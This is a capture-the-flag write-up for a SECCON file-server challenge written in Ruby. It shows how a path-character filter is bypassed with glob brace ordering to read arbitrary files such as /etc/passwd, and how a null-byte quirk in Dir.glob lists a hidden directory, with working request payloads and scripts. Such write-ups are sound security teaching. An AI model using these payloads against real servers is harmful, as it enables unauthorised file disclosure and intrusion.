In the challenge we get access to a custom made http server. We can easily look around and recover the source code.
There are 2 problems here to solve:
- We don't know the flag file name, and we know it's random and pretty long, so we need either RCE or directory listing
- In order to do anything fancy, we need to bypass the bad_char check with some special characters
The check is:
def is_bad_path(path)
bad_char = nil
%w(* ? [ { \\).each do |char|
if path.include? char
bad_char = char
break
end
end
if bad_char.nil?
false
else
# check if brackets are paired
if bad_char == ?{
path[path.index(bad_char)..].include? ?}
elsif bad_char == ?[
path[path.index(bad_char)..].include? ?]
else
true
end
end
end
What seems odd is that:
- It allows for
{}[]
as long as they're not paired - It looks only at the first bad char it finds
- The loop, a bit confusingly, goes over the forbidden chars in order, and on the data! This means if you start your payload with
{
but you have*
at the very end, it will first find the*
The last point can be used to break this protection -> the order of {}
and []
is set in such a way that if we send payload {[}
then the script will first find [
and check if it's paired or not, and we're free to use as many {}
as we want.
Remeber, this still has to be some valid path, so having [
doesn't seem so great, but curly braces denote alternative
in glob.
This means we can use path /{[,p}ublic/index.html
and it will work just fine for us.
The server looks for path like:
payload=req.path[1..]
matches = Dir.glob(payload)
So strips the first /
, and the webserver strips any additional /
we place, however if we do /{[,/}
the inner one will not be stripped!
This way we gain arbitrary file read, since we can just send: GET /{[,/}etc/passwd
(encoded as GET /%7b%5b,/%7detc/passwd
of course).
The last part is probably the hardest one, how to list the /tmp/flags
directory to learn the flag file name?
We were considering first to use something like arbitrary file read payload we have with suffix {a,b,c,d...}
multiplied by the number of characters in flag file name, but the GET request was waaay too long.
Now we need to focus on the:
if req.path.end_with? '/'
if req.path.include? '.'
raise BadRequest
end
path = ".#{req.path}*"
files = Dir.glob(path)
res['Content-Type'] = 'text/html'
res.body = ERB.new(File.read('index.html.erb')).result(binding)
next
end
The server allows for directory listing, but it includes a .
at the front, and we can't put any .
ourselves so somehow bypass it with traversal.
So we can only list directories under current CWD, and we want to be higher.
After going through glob source code we fund a very interesting quirk, probably related to CVE-2018-8780
.
In short Dir.glob
doesn't handle nullbytes properly, and splits the arguments on the nullbyte and considers only the last part.
So if we send GET /%00/tmp/flags/
it will cut away the ./%00
leaving us with /tmp/flags/*
!
Finally we can do:
s = nc("fileserver.chal.seccon.jp", 9292)
s.sendall("GET /%00/tmp/flags/ HTTP/1.0\r\nConnection: close\r\n\r\n")
print(s.recv(9999))
print(s.recv(9999))
To get the flag file name and then
s = nc("fileserver.chal.seccon.jp", 9292)
s.sendall("GET /%7b%5b,/%7dtmp/flags/MMnHIU0fofiPdL1HlJkyQgDu4O8YNERR.txt HTTP/1.0\r\nConnection: close\r\n\r\n")
print(s.recv(9999))
print(s.recv(9999))
To read the flag SECCON{You_are_the_Globbin'_Slayer}